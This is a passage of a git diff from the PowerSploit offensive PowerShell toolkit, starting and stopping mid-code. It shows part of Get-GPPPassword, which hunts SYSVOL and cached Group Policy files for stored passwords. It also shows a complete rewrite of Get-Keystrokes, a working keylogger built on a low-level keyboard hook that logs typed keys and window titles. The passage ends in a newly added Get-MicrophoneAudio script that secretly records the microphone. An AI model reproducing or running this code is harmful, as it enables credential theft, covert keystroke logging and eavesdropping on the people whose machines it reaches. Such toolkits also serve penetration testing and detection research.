Sort-Object -Unique | ForEach-Object { + # only output if we haven't already seen this domain and if it's pingable + if (-not $SeenDomains.ContainsKey($_) -and (Test-Connection -Count 1 -Quiet -ComputerName $_)) { + $Null = $Domains.Push($_) + $_ + } + } + } + catch { + Write-Verbose "[Get-DomainTrustMapping] Error: $_" + } } } + } + } - if ($Cpassword) {$Password = Get-DecryptedCpassword $Cpassword} - - else {Write-Verbose "No encrypted passwords found in $Filepath"} - - #Create custom object to output results - $ObjectProperties = @{'Password' = $Password; - 'UserName' = $UserName; - 'Changed' = $Changed; - 'NewName' = $NewName - 'File' = $Filepath} - - $ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties - Write-Output $ResultsObject + try { + $XMLFiles = @() + $Domains = @() + + $AllUsers = $Env:ALLUSERSPROFILE + if (-not $AllUsers) { + $AllUsers = 'C:\ProgramData' + } + + # discover any locally cached GPP .xml files + Write-Verbose '[Get-GPPPassword] Searching local host for any cached GPP files' + $XMLFiles += Get-ChildItem -Path $AllUsers -Recurse -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml' -Force -ErrorAction SilentlyContinue + + if ($SearchForest) { + Write-Verbose '[Get-GPPPassword] Searching for all reachable trusts' + $Domains += Get-DomainTrustMapping + } + else { + if ($Server) { + $Domains += , $Server + } + else { + # in case we're in a SYSTEM context + $Domains += , [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() | Select-Object -ExpandProperty Name + } + } + + $Domains = $Domains | Where-Object {$_} | Sort-Object -Unique + + ForEach ($Domain in $Domains) { + # discover potential domain GPP files containing passwords, not complaining in case of denied access to a directory + Write-Verbose "[Get-GPPPassword] Searching \\$Domain\SYSVOL\*\Policies. This could take a while." + $DomainXMLFiles = Get-ChildItem -Force -Path "\\$Domain\SYSVOL\*\Policies" -Recurse -ErrorAction SilentlyContinue -Include @('Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml') + + if($DomainXMLFiles) { + $XMLFiles += $DomainXMLFiles + } + } + + if ( -not $XMLFiles ) { throw '[Get-GPPPassword] No preference files found.' } + + Write-Verbose "[Get-GPPPassword] Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords." + + ForEach ($File in $XMLFiles) { + $Result = (Get-GppInnerField $File.Fullname) + $Result } - - catch {Write-Error $Error[0]} } + + catch { Write-Error $Error[0] } } diff --git a/Exfiltration/Get-Keystrokes.ps1 b/Exfiltration/Get-Keystrokes.ps1 index 48b7df60..47761b99 100644 --- a/Exfiltration/Get-Keystrokes.ps1 +++ b/Exfiltration/Get-Keystrokes.ps1 @@ -1,249 +1,377 @@ -function Get-Keystrokes { +function Get-Keystrokes { <# .SYNOPSIS - + Logs keys pressed, time and the active window. PowerSploit Function: Get-Keystrokes - Author: Chris Campbell (@obscuresec) and Matthew Graeber (@mattifestation) + Original Authors: Chris Campbell (@obscuresec) and Matthew Graeber (@mattifestation) + Revised By: Jesse Davis (@secabstraction) License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None .PARAMETER LogPath - Specifies the path where pressed key details will be logged. By default, keystrokes are logged to '$($Env:TEMP)\key.log'. + Specifies the path where pressed key details will be logged. By default, keystrokes are logged to %TEMP%\key.log. -.PARAMETER CollectionInterval +.PARAMETER Timeout Specifies the interval in minutes to capture keystrokes. By default, keystrokes are captured indefinitely. +.PARAMETER PassThru + + Returns the keylogger's PowerShell object, so that it may manipulated (disposed) by the user; primarily for testing purposes. + .EXAMPLE Get-Keystrokes -LogPath C:\key.log .EXAMPLE - Get-Keystrokes -CollectionInterval 20 - + Get-Keystrokes -Timeout 20 + .LINK http://www.obscuresec.com/ http://www.exploit-monday.com/ + https://github.com/secabstraction #> - [CmdletBinding()] Param ( + [CmdletBinding()] + Param ( [Parameter(Position = 0)] - [ValidateScript({Test-Path (Resolve-Path (Split-Path -Parent $_)) -PathType Container})] - [String] - $LogPath = "$($Env:TEMP)\key.log", + [ValidateScript({Test-Path (Resolve-Path (Split-Path -Parent -Path $_)) -PathType Container})] + [String]$LogPath = "$($env:TEMP)\key.log", [Parameter(Position = 1)] - [UInt32] - $CollectionInterval + [Double]$Timeout, + + [Parameter()] + [Switch]$PassThru ) $LogPath = Join-Path (Resolve-Path (Split-Path -Parent $LogPath)) (Split-Path -Leaf $LogPath) - Write-Verbose "Logging keystrokes to $LogPath" + try { '"TypedKey","WindowTitle","Time"' | Out-File -FilePath $LogPath -Encoding unicode } + catch { throw $_ } + + $Script = { + Param ( + [Parameter(Position = 0)] + [String]$LogPath, + + [Parameter(Position = 1)] + [Double]$Timeout + ) + + function local:Get-DelegateType { + Param ( + [OutputType([Type])] + + [Parameter( Position = 0)] + [Type[]] + $Parameters = (New-Object Type[](0)), + + [Parameter( Position = 1 )] + [Type] + $ReturnType = [Void] + ) + + $Domain = [AppDomain]::CurrentDomain + $DynAssembly = New-Object Reflection.AssemblyName('ReflectedDelegate') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) + $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) + $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) + $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') + $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) + $MethodBuilder.SetImplementationFlags('Runtime, Managed') + + $TypeBuilder.CreateType() + } + function local:Get-ProcAddress { + Param ( + [OutputType([IntPtr])] + + [Parameter( Position = 0, Mandatory = $True )] + [String] + $Module, + + [Parameter( Position = 1, Mandatory = $True )] + [String] + $Procedure + ) + + # Get a reference to System.dll in the GAC + $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | + Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } + $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') + # Get a reference to the GetModuleHandle and GetProcAddress methods + $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') + $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') + # Get a handle to the module specified + $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) + $tmpPtr = New-Object IntPtr + $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) + + # Return the address of the function + $GetProcAddress.Invoke($null, @([Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) + } - $Initilizer = { - $LogPath = 'REPLACEME' + #region Imports + + [void][Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms') + + # SetWindowsHookEx + $SetWindowsHookExAddr = Get-ProcAddress user32.dll SetWindowsHookExA + $SetWindowsHookExDelegate = Get-DelegateType @([Int32], [MulticastDelegate], [IntPtr], [Int32]) ([IntPtr]) + $SetWindowsHookEx = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SetWindowsHookExAddr, $SetWindowsHookExDelegate) + + # CallNextHookEx + $CallNextHookExAddr = Get-ProcAddress user32.dll CallNextHookEx + $CallNextHookExDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr], [IntPtr]) ([IntPtr]) + $CallNextHookEx = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CallNextHookExAddr, $CallNextHookExDelegate) + + # UnhookWindowsHookEx + $UnhookWindowsHookExAddr = Get-ProcAddress user32.dll UnhookWindowsHookEx + $UnhookWindowsHookExDelegate = Get-DelegateType @([IntPtr]) ([Void]) + $UnhookWindowsHookEx = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($UnhookWindowsHookExAddr, $UnhookWindowsHookExDelegate) + + # PeekMessage + $PeekMessageAddr = Get-ProcAddress user32.dll PeekMessageA + $PeekMessageDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [UInt32], [UInt32]) ([Void]) + $PeekMessage = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($PeekMessageAddr, $PeekMessageDelegate) + + # GetAsyncKeyState + $GetAsyncKeyStateAddr = Get-ProcAddress user32.dll GetAsyncKeyState + $GetAsyncKeyStateDelegate = Get-DelegateType @([Windows.Forms.Keys]) ([Int16]) + $GetAsyncKeyState = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetAsyncKeyStateAddr, $GetAsyncKeyStateDelegate) + + # GetForegroundWindow + $GetForegroundWindowAddr = Get-ProcAddress user32.dll GetForegroundWindow + $GetForegroundWindowDelegate = Get-DelegateType @() ([IntPtr]) + $GetForegroundWindow = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetForegroundWindowAddr, $GetForegroundWindowDelegate) + + # GetWindowText + $GetWindowTextAddr = Get-ProcAddress user32.dll GetWindowTextA + $GetWindowTextDelegate = Get-DelegateType @([IntPtr], [Text.StringBuilder], [Int32]) ([Void]) + $GetWindowText = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetWindowTextAddr, $GetWindowTextDelegate) + + # GetModuleHandle + $GetModuleHandleAddr = Get-ProcAddress kernel32.dll GetModuleHandleA + $GetModuleHandleDelegate = Get-DelegateType @([String]) ([IntPtr]) + $GetModuleHandle = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetModuleHandleAddr, $GetModuleHandleDelegate) + + #endregion Imports - '"TypedKey","Time","WindowTitle"' | Out-File -FilePath $LogPath -Encoding unicode + $CallbackScript = { + Param ( + [Parameter()] + [Int32]$Code, - function KeyLog { - [Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms') | Out-Null + [Parameter()] + [IntPtr]$wParam, - try - { - $ImportDll = [User32] - } - catch - { - $DynAssembly = New-Object System.Reflection.AssemblyName('Win32Lib') - $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) - $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('Win32Lib', $False) - $TypeBuilder = $ModuleBuilder.DefineType('User32', 'Public, Class') - - $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String])) - $FieldArray = [Reflection.FieldInfo[]] @( - [Runtime.InteropServices.DllImportAttribute].GetField('EntryPoint'), - [Runtime.InteropServices.DllImportAttribute].GetField('ExactSpelling'), - [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError'), - [Runtime.InteropServices.DllImportAttribute].GetField('PreserveSig'), - [Runtime.InteropServices.DllImportAttribute].GetField('CallingConvention'), - [Runtime.InteropServices.DllImportAttribute].GetField('CharSet') - ) - - $PInvokeMethod = $TypeBuilder.DefineMethod('GetAsyncKeyState', 'Public, Static', [Int16], [Type[]] @([Windows.Forms.Keys])) - $FieldValueArray = [Object[]] @( - 'GetAsyncKeyState', - $True, - $False, - $True, - [Runtime.InteropServices.CallingConvention]::Winapi, - [Runtime.InteropServices.CharSet]::Auto - ) - $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray) - $PInvokeMethod.SetCustomAttribute($CustomAttribute) - - $PInvokeMethod = $TypeBuilder.DefineMethod('GetKeyboardState', 'Public, Static', [Int32], [Type[]] @([Byte[]])) - $FieldValueArray = [Object[]] @( - 'GetKeyboardState', - $True, - $False, - $True, - [Runtime.InteropServices.CallingConvention]::Winapi, - [Runtime.InteropServices.CharSet]::Auto - ) - $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray) - $PInvokeMethod.SetCustomAttribute($CustomAttribute) - - $PInvokeMethod = $TypeBuilder.DefineMethod('MapVirtualKey', 'Public, Static', [Int32], [Type[]] @([Int32], [Int32])) - $FieldValueArray = [Object[]] @( - 'MapVirtualKey', - $False, - $False, - $True, - [Runtime.InteropServices.CallingConvention]::Winapi, - [Runtime.InteropServices.CharSet]::Auto - ) - $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray) - $PInvokeMethod.SetCustomAttribute($CustomAttribute) - - $PInvokeMethod = $TypeBuilder.DefineMethod('ToUnicode', 'Public, Static', [Int32], - [Type[]] @([UInt32], [UInt32], [Byte[]], [Text.StringBuilder], [Int32], [UInt32])) - $FieldValueArray = [Object[]] @( - 'ToUnicode', - $False, - $False, - $True, - [Runtime.InteropServices.CallingConvention]::Winapi, - [Runtime.InteropServices.CharSet]::Auto - ) - $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray) - $PInvokeMethod.SetCustomAttribute($CustomAttribute) - - $PInvokeMethod = $TypeBuilder.DefineMethod('GetForegroundWindow', 'Public, Static', [IntPtr], [Type[]] @()) - $FieldValueArray = [Object[]] @( - 'GetForegroundWindow', - $True, - $False, - $True, - [Runtime.InteropServices.CallingConvention]::Winapi, - [Runtime.InteropServices.CharSet]::Auto - ) - $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray) - $PInvokeMethod.SetCustomAttribute($CustomAttribute) - - $ImportDll = $TypeBuilder.CreateType() - } + [Parameter()] + [IntPtr]$lParam + ) + + $Keys = [Windows.Forms.Keys] + + $MsgType = $wParam.ToInt32() + + # Process WM_KEYDOWN & WM_SYSKEYDOWN messages + if ($Code -ge 0 -and ($MsgType -eq 0x100 -or $MsgType -eq 0x104)) { + + $hWindow = $GetForegroundWindow.Invoke() - Start-Sleep -Milliseconds 40 - - try - { - - #loop through typeable characters to see which is pressed - for ($TypeableChar = 1; $TypeableChar -le 254; $TypeableChar++) - { - $VirtualKey = $TypeableChar - $KeyResult = $ImportDll::GetAsyncKeyState($VirtualKey) - - #if the key is pressed - if (($KeyResult -band 0x8000) -eq 0x8000) - { - - #check for keys not mapped by virtual keyboard - $LeftShift = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LShiftKey) -band 0x8000) -eq 0x8000 - $RightShift = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RShiftKey) -band 0x8000) -eq 0x8000 - $LeftCtrl = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LControlKey) -band 0x8000) -eq 0x8000 - $RightCtrl = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RControlKey) -band 0x8000) -eq 0x8000 - $LeftAlt = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LMenu) -band 0x8000) -eq 0x8000 - $RightAlt = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RMenu) -band 0x8000) -eq 0x8000 - $TabKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Tab) -band 0x8000) -eq 0x8000 - $SpaceBar = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Space) -band 0x8000) -eq 0x8000 - $DeleteKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Delete) -band 0x8000) -eq 0x8000 - $EnterKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Return) -band 0x8000) -eq 0x8000 - $BackSpaceKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Back) -band 0x8000) -eq 0x8000 - $LeftArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Left) -band 0x8000) -eq 0x8000 - $RightArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Right) -band 0x8000) -eq 0x8000 - $UpArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Up) -band 0x8000) -eq 0x8000 - $DownArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Down) -band 0x8000) -eq 0x8000 - $LeftMouse = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LButton) -band 0x8000) -eq 0x8000 - $RightMouse = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RButton) -band 0x8000) -eq 0x8000 - - if ($LeftShift -or $RightShift) {$LogOutput += '[Shift]'} - if ($LeftCtrl -or $RightCtrl) {$LogOutput += '[Ctrl]'} - if ($LeftAlt -or $RightAlt) {$LogOutput += '[Alt]'} - if ($TabKey) {$LogOutput += '[Tab]'} - if ($SpaceBar) {$LogOutput += '[SpaceBar]'} - if ($DeleteKey) {$LogOutput += '[Delete]'} - if ($EnterKey) {$LogOutput += '[Enter]'} - if ($BackSpaceKey) {$LogOutput += '[Backspace]'} - if ($LeftArrow) {$LogOutput += '[Left Arrow]'} - if ($RightArrow) {$LogOutput += '[Right Arrow]'} - if ($UpArrow) {$LogOutput += '[Up Arrow]'} - if ($DownArrow) {$LogOutput += '[Down Arrow]'} - if ($LeftMouse) {$LogOutput += '[Left Mouse]'} - if ($RightMouse) {$LogOutput += '[Right Mouse]'} - - #check for capslock - if ([Console]::CapsLock) {$LogOutput += '[Caps Lock]'} - - $MappedKey = $ImportDll::MapVirtualKey($VirtualKey, 3) - $KeyboardState = New-Object Byte[] 256 - $CheckKeyboardState = $ImportDll::GetKeyboardState($KeyboardState) - - #create a stringbuilder object - $StringBuilder = New-Object -TypeName System.Text.StringBuilder; - $UnicodeKey = $ImportDll::ToUnicode($VirtualKey, $MappedKey, $KeyboardState, $StringBuilder, $StringBuilder.Capacity, 0) - - #convert typed characters - if ($UnicodeKey -gt 0) { - $TypedCharacter = $StringBuilder.ToString() - $LogOutput += ('['+ $TypedCharacter +']') - } - - #get the title of the foreground window - $TopWindow = $ImportDll::GetForegroundWindow() - $WindowTitle = (Get-Process | Where-Object { $_.MainWindowHandle -eq $TopWindow }).MainWindowTitle - - #get the current DTG - $TimeStamp = (Get-Date -Format dd/MM/yyyy:HH:mm:ss:ff) - - #Create a custom object to store results - $ObjectProperties = @{'Key Typed' = $LogOutput; - 'Time' = $TimeStamp; - 'Window Title' = $WindowTitle} - $ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties - - # Stupid hack since Export-CSV doesn't have an append switch in PSv2 - $CSVEntry = ($ResultsObject | ConvertTo-Csv -NoTypeInformation)[1] - - #return results - Out-File -FilePath $LogPath -Append -InputObject $CSVEntry -Encoding unicode + $ShiftState = $GetAsyncKeyState.Invoke($Keys::ShiftKey) + if (($ShiftState -band 0x8000) -eq 0x8000) { $Shift = $true } + else { $Shift = $false } + $Caps = [Console]::CapsLock + + # Read virtual-key from buffer + $vKey = [Windows.Forms.Keys][Runtime.InteropServices.Marshal]::ReadInt32($lParam) + + # Parse virtual-key + if ($vKey -gt 64 -and $vKey -lt 91) { # Alphabet characters + if ($Shift -xor $Caps) { $Key = $vKey.ToString() } + else { $Key = $vKey.ToString().ToLower() } + } + elseif ($vKey -ge 96 -and $vKey -le 111) { # Number pad characters + switch ($vKey.value__) { + 96 { $Key = '0' } + 97 { $Key = '1' } + 98 { $Key = '2' } + 99 { $Key = '3' } + 100 { $Key = '4' } + 101 { $Key = '5' } + 102 { $Key = '6' } + 103 { $Key = '7' } + 104 { $Key = '8' } + 105 { $Key = '9' } + 106 { $Key = "*" } + 107 { $Key = "+" } + 108 { $Key = "|" } + 109 { $Key = "-" } + 110 { $Key = "." } + 111 { $Key = "/" } + } + } + elseif (($vKey -ge 48 -and $vKey -le 57) -or ($vKey -ge 186 -and $vKey -le 192) -or ($vKey -ge 219 -and $vKey -le 222)) { + if ($Shift) { + switch ($vKey.value__) { # Shiftable characters + 48 { $Key = ')' } + 49 { $Key = '!' } + 50 { $Key = '@' } + 51 { $Key = '#' } + 52 { $Key = '$' } + 53 { $Key = '%' } + 54 { $Key = '^' } + 55 { $Key = '&' } + 56 { $Key = '*' } + 57 { $Key = '(' } + 186 { $Key = ':' } + 187 { $Key = '+' } + 188 { $Key = '<' } + 189 { $Key = '_' } + 190 { $Key = '>' } + 191 { $Key = '?' } + 192 { $Key = '~' } + 219 { $Key = '{' } + 220 { $Key = '|' } + 221 { $Key = '}' } + 222 { $Key = '' } + } + } + else { + switch ($vKey.value__) { + 48 { $Key = '0' } + 49 { $Key = '1' } + 50 { $Key = '2' } + 51 { $Key = '3' } + 52 { $Key = '4' } + 53 { $Key = '5' } + 54 { $Key = '6' } + 55 { $Key = '7' } + 56 { $Key = '8' } + 57 { $Key = '9' } + 186 { $Key = ';' } + 187 { $Key = '=' } + 188 { $Key = ',' } + 189 { $Key = '-' } + 190 { $Key = '.' } + 191 { $Key = '/' } + 192 { $Key = '`' } + 219 { $Key = '[' } + 220 { $Key = '\' } + 221 { $Key = ']' } + 222 { $Key = '' } } } } - catch {} + else { + switch ($vKey) { + $Keys::F1 { $Key = '' } + $Keys::F2 { $Key = '' } + $Keys::F3 { $Key = '' } + $Keys::F4 { $Key = '' } + $Keys::F5 { $Key = '' } + $Keys::F6 { $Key = '' } + $Keys::F7 { $Key = '' } + $Keys::F8 { $Key = '' } + $Keys::F9 { $Key = '' } + $Keys::F10 { $Key = '' } + $Keys::F11 { $Key = '' } + $Keys::F12 { $Key = '' } + + $Keys::Snapshot { $Key = '' } + $Keys::Scroll { $Key = '' } + $Keys::Pause { $Key = '' } + $Keys::Insert { $Key = '' } + $Keys::Home { $Key = '' } + $Keys::Delete { $Key = '' } + $Keys::End { $Key = '' } + $Keys::Prior { $Key = '' } + $Keys::Next { $Key = '' } + $Keys::Escape { $Key = '' } + $Keys::NumLock { $Key = '' } + $Keys::Capital { $Key = '' } + $Keys::Tab { $Key = '' } + $Keys::Back { $Key = '' } + $Keys::Enter { $Key = '' } + $Keys::Space { $Key = '< >' } + $Keys::Left { $Key = '' } + $Keys::Up { $Key = '' } + $Keys::Right { $Key = '' } + $Keys::Down { $Key = '' } + $Keys::LMenu { $Key = '' } + $Keys::RMenu { $Key = '' } + $Keys::LWin { $Key = '' } + $Keys::RWin { $Key = '' } + $Keys::LShiftKey { $Key = '' } + $Keys::RShiftKey { $Key = '' } + $Keys::LControlKey { $Key = '' } + $Keys::RControlKey { $Key = '' } + } + } + + # Get foreground window's title + $Title = New-Object Text.Stringbuilder 256 + $GetWindowText.Invoke($hWindow, $Title, $Title.Capacity) + + # Define object properties + $Props = @{ + Key = $Key + Time = [DateTime]::Now + Window = $Title.ToString() + } + + $obj = New-Object psobject -Property $Props + + # Stupid hack since Export-CSV doesn't have an append switch in PSv2 + $CSVEntry = ($obj | Select-Object Key,Window,Time | ConvertTo-Csv -NoTypeInformation)[1] + + #return results + Out-File -FilePath $LogPath -Append -InputObject $CSVEntry -Encoding unicode } + return $CallNextHookEx.Invoke([IntPtr]::Zero, $Code, $wParam, $lParam) } - $Initilizer = [ScriptBlock]::Create(($Initilizer -replace 'REPLACEME', $LogPath)) + # Cast scriptblock as LowLevelKeyboardProc callback + $Delegate = Get-DelegateType @([Int32], [IntPtr], [IntPtr]) ([IntPtr]) + $Callback = $CallbackScript -as $Delegate + + # Get handle to PowerShell for hook + $PoshModule = (Get-Process -Id $PID).MainModule.ModuleName + $ModuleHandle = $GetModuleHandle.Invoke($PoshModule) - Start-Job -InitializationScript $Initilizer -ScriptBlock {for (;;) {Keylog}} -Name Keylogger | Out-Null + # Set WM_KEYBOARD_LL hook + $Hook = $SetWindowsHookEx.Invoke(0xD, $Callback, $ModuleHandle, 0) + + $Stopwatch = [Diagnostics.Stopwatch]::StartNew() - if ($PSBoundParameters['CollectionInterval']) - { - $Timer = New-Object Timers.Timer($CollectionInterval * 60 * 1000) + while ($true) { + if ($PSBoundParameters.Timeout -and ($Stopwatch.Elapsed.TotalMinutes -gt $Timeout)) { break } + $PeekMessage.Invoke([IntPtr]::Zero, [IntPtr]::Zero, 0x100, 0x109, 0) + Start-Sleep -Milliseconds 10 + } - Register-ObjectEvent -InputObject $Timer -EventName Elapsed -SourceIdentifier ElapsedAction -Action { - Stop-Job -Name Keylogger - Unregister-Event -SourceIdentifier ElapsedAction - $Sender.Stop() - } | Out-Null + $Stopwatch.Stop() + + # Remove the hook + $UnhookWindowsHookEx.Invoke($Hook) } + # Setup KeyLogger's runspace + $PowerShell = [PowerShell]::Create() + [void]$PowerShell.AddScript($Script) + [void]$PowerShell.AddArgument($LogPath) + if ($PSBoundParameters.Timeout) { [void]$PowerShell.AddArgument($Timeout) } + + # Start KeyLogger + [void]$PowerShell.BeginInvoke() + + if ($PassThru.IsPresent) { return $PowerShell } } \ No newline at end of file diff --git a/Exfiltration/Get-MicrophoneAudio.ps1 b/Exfiltration/Get-MicrophoneAudio.ps1 new file mode 100755 index 00000000..310309cf --- /dev/null +++ b/Exfiltration/Get-MicrophoneAudio.ps1 @@ -0,0 +1,187 @@ +function Get-MicrophoneAudio { +<# +.SYNOPSIS +Records audio from the microphone and saves to a file on disk +Author: Justin Warner (@sixdub) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +All credit for PowerSploit functions belongs to the original author and project contributors. Thanks for the awesomeness! See here for more info: +http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html +https://github.com/PowerShellMafia/PowerSploit + +Thanks to Ed Wilson (Scripting Guy) for the one liner to generate random chars. https://blogs.technet.microsoft.com/heyscriptingguy/2015/11/05/generate-random-letters-with-powershell/ + +.DESCRIPTION +Get-MicrophoneAudio utilizes the Windows API from winmm.dll to record audio from the microphone and saves the wave file to disk. + +.OUTPUTS +Outputs the FileInfo object pointing to the recording which has been saved to disk. + +.PARAMETER Path +The location to save the audio + +.PARAMETER Length +The length of the audio to record in seconds. Default: 30 + +.PARAMETER Alias +The alias to use for the WinMM recording. Default: Random 10 Chars + +.EXAMPLE +Get-MicrophoneAudio -Path c:\windows\temp\secret.wav -Length 10 -Alias "SECRET" +Description +----------- +Records 10 seconds of audio to the path C:\windows\temp\secret.wav using WinMM alias "secret" +#> + [OutputType([System.IO.FileInfo])] + Param + ( + [Parameter( Position = 0, Mandatory = $True)] + [ValidateScript({Split-Path $_ | Test-Path})] + [String] $Path, + [Parameter( Position = 1, Mandatory = $False)] + [Int] $Length = 30, + [Parameter( Position = 2, Mandatory = $False)] + [String] $Alias = $(-join ((65..90) + (97..122) | Get-Random -Count 10 | % {[char]$_})) + + ) + + #Get-DelegateType from PowerSploit + function Local:Get-DelegateType + { + Param + ( + [OutputType([Type])] + + [Parameter( Position = 0)] + [Type[]] + $Parameters = (New-Object Type[](0)), + + [Parameter( Position = 1 )] + [Type] + $ReturnType = [Void] + ) + + $Domain = [AppDomain]::CurrentDomain + $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) + $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) + $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) + $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') + $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) + $MethodBuilder.SetImplementationFlags('Runtime, Managed') + + Write-Output $TypeBuilder.CreateType() + } + + #Get-ProcAddress from PowerSploit + function local:Get-ProcAddress + { + Param + ( + [OutputType([IntPtr])] + + [Parameter( Position = 0, Mandatory = $True )] + [String] + $Module, + + [Parameter( Position = 1, Mandatory = $True )] + [String] + $Procedure + ) + + # Get a reference to System.dll in the GAC + $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | + Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } + $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') + # Get a reference to the GetModuleHandle and GetProcAddress methods + $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') + $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') + # Get a handle to the module specified + $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) + $tmpPtr = New-Object IntPtr + $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) + + # Return the address of the function + Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) + } + + #Initialize and call LoadLibrary on our required DLL + $LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA + $LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr]) + $LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate) + $HND = $null + $HND = $LoadLibrary.Invoke('winmm.dll') + if ($HND -eq $null) + { + Throw 'Failed to aquire handle to winmm.dll' + } + + #Initialize the function call to count devices + $waveInGetNumDevsAddr = $null + $waveInGetNumDevsAddr = Get-ProcAddress winmm.dll waveInGetNumDevs + $waveInGetNumDevsDelegate = Get-DelegateType @() ([Uint32]) + if ($waveInGetNumDevsAddr -eq $null) + { + Throw 'Failed to aquire address to WaveInGetNumDevs' + } + $waveInGetNumDevs = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($waveInGetNumDevsAddr, $waveInGetNumDevsDelegate) + + #Initilize the function call to record audio + $mciSendStringAddr = $null + $mciSendStringAddr = Get-ProcAddress winmm.dll 